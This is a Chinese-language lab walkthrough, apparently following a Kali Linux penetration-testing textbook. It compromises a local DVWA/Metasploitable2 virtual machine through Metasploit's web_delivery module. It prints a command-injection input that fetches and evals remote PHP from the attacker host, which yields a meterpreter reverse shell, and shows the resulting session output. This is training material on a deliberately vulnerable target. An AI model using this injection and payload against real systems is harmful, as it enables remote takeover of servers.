按照《Kali Linux2 网络渗透测试实践指南 第二版 》第七章操作
仅供学习讨论使用,请勿进行非法操作

“邪灵工作室“公众号”下载作者提供的 Metasploitable2 虚拟机
到kali 官网下载对应虚拟机并完成安装
上述虚拟机在VM Ware中打开
ifconfig

可以看出本机ip地址为 192.168.229.133
nmap 192.168.229.0/24

可以看出 192.168.229.134存活,也就是Metasploitable2 虚拟机
Metasploitable2 虚拟机预装了DVWA,直接在kali 攻击机,浏览器地址输入 192.168.229.134
用户名admin, 密码password

把security安全等级设为low

msfconsole
search web_delivery

使用第2个,ID 为1 的exploit模块
msf6 > use 1

可以看到不止一种语言支持,所以切换到PHP的对应攻击环境下 (DVWA基于PHP实现)
msf6 exploit(multi/script/web_delivery) > set target 1
target => 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.229.133
LHOST => 192.168.229.133


提示告诉我们需要在目标网页上输入
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

但是实际运行后却报错,根据错误修改上述参数如下,可以成功
图中红色实际为之前报错留下的,不影响,这时候切回Kali
127.0.0.1 | php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ'));"

在浏览器旋转的时候,回到Kali主机内可以看到木马传送到DVWA所在机器使用sessions指令获取当前建立的session信息,从而进入控制,sysinfo获取DVWA所在主机信息
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data @ metasploitable 192.168.229.133:4444 -> 192.168.229.134:48700 (192.168.229.134)
msf6 exploit(multi/script/web_delivery) > getuid
[-] Unknown command: getuid
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

结束!